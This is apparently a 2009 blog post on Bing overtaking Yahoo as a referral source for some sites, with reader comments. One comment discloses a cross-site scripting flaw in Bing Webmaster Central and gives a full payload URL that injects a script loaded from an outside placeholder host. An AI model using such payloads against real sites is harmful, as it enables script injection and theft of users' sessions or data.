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Even though I kind of mocked Bing's spam tests as being the cause for many people seeing the search share of Microsoft's Bing as seizing market share, it is not the case in most situations. In most situations, the search share you see coming from Bing is legit and search marketers are taking notice.
I track a lot of web sites and in some cases, not all, Bing has overtaken Yahoo as the number two search engine sending traffic to those sites. Google still dominates, but the number two search engine for some sites I track is Bing, not Yahoo anymore.
In a 15 day period, Bing sent this site over 1,000 more visitors then Yahoo did. Of course, this is just one site and who knows, maybe Yahoo doesn't like this site too much. But a lot of webmasters and search marketers are noticing that Bing's share is exceeding Yahoo. Again, not in all cases, but in some. So what does this mean?
If you have not done so already, go to your analytics package and see what search engine is driving you traffic. Note, in Google Analytics, the Bing traffic doesn't really show until June 9th, so maybe adjust your date range to reflect that. Then see the search traffic reports and see where your visitors are coming. Then reallocate your budgets accordingly, based on traffic, conversions and ROI.
Don't get me wrong, I love Yahoo but you have to do what is best for the bottom line.
Forum discussion at WebmasterWorld.
Comments:
Marco
06/26/2009 03:59 pm
I totally agree. I am seeing more and more traffic from Bing, and Microsoft is certainly making sure that it is staying in the forefront of people's minds. Although many people keep talking about the Microsoft - Google matchup, it's really the Microsoft - Yahoo matchup that is being played out now. More at: http://domusinc.blogspot.com/2009/06/bing-yahoo-google-few-new-thoughts.html.
Michael Martinez
06/26/2009 05:06 pm
When people stop using Google data to optimize for Yahoo! and BING, they'll start improving their referrals from Yahoo! and BING. In the meantime, it's interesting to see how the money flow is changing.
Aneslin
06/27/2009 01:09 pm
agreed. now am getting certen amount of traffic from bing. :) and its more than yahoo. so Its time to do a seo for bing also
Peter Johnson
07/01/2009 11:31 am
Not a big fan of Bing, I just noticed that the Webmaster Central has an XSS vulnerability as well. Take a look at: http://www.bing.com/webmaster/WebmasterAuthenticationInformationPage.aspx?authTag=%3Cscript%20type="text%2Fjavascript"%20href="http:%2F%2Fexample.com%2Fscript.js"%3E%3C%2Fscript%3E
Jennifer
07/08/2009 10:26 am
Hey thanks for sharing the information...I came across another blog post on search marketing which says Search marketers will rule online advertising. Internet advertising has been shifting toward performance marketing throughout this recession. It also show data on how publishers and sites such as Facebook, offering advertisers display ads on a CPM basis or bids for PPC placement, are fueling that shift. Would recommend you to go through it once. Here is the link - http://www.webguild.org/2009/07/search-marketers-will-rule-online-advertising.php?p=p2
Sam Balayan
01/13/2011 02:51 am
I agree to some extent. I think that marketers should also have budget for adCenter. But that doesn't mean that they should pull out from Google AdSense. Having campaigns on these two program will definitely yield better results. That is of course you have enough budget. SEOP Inc